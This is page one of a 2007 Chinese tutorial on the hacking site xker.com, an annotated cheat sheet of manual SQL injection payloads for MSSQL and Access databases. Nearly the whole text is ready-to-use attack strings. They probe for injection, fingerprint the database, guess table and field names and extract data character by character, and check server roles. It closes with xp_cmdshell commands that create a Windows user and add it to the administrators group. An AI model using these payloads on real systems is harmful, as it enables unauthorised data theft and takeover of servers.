新客网WWW.XKER.COM:致力做中国最专业的网络学院!
学院: 操作系统 - 网络应用 - 服务器 - 网络安全 - 工具软件 - 办公软件 - Web开发 - 数据库 - 网页设计 - 图形图像 - 媒体动画 - 硬件学堂 - 存储频道 - QQ专区
您的位置:首页 > 网络学院 > 网络安全 > 黑客技术 > 正文:带注释手动注入脚本命令总结

带注释手动注入脚本命令总结

新客网 XKER.COM 2007-03-28 来源: 收藏本文
整理了下手动注入脚本命令[带注释]


1.判断是否有注入;and 1=1 ;and 1=2


2.初步判断是否是mssql ;and user>0


3.注入参数是字符’and [查询条件] and ’’=’


4.搜索时没过滤参数的’and [查询条件] and ’%25’=’


5.判断数据库系统

;and (select count(*) from sysobjects)>0 mssql

;and (select count(*) from msysobjects)>0 access


6.猜数据库 ;and (select Count(*) from [数据库名])>0


7.猜字段 ;and (select Count(字段名) from 数据库名)>0


8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0


9.(1)猜字段的ascii值(access)

;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0


(2)猜字段的ascii值(mssql)

;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0


10.测试权限结构(mssql)

;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--

;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--

;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--

;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--

;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--

;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--

;and 1=(select IS_MEMBER(’db_owner’));--


11.添加mssql和系统的帐户

;exec master.dbo.sp_addlogin username;--


;exec master.dbo.sp_password null,username,password;--


;exec master.dbo.sp_addsrvrolemember sysadmin username;--


;exec master.dbo.xp_cmdshell ’net user username password

/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;--


;exec master.dbo.xp_cmdshell ’net user username password /add’;--


;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--



共2页: 上一页 [1] [2] 下一页
收藏】 【评论】 【推荐】 【投稿】 【打印】 【关闭
发表评论
要记得去论坛讨论,点击注册新会员匿名评论
评论内容:不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
阅读排行
随机推荐
实用信息推荐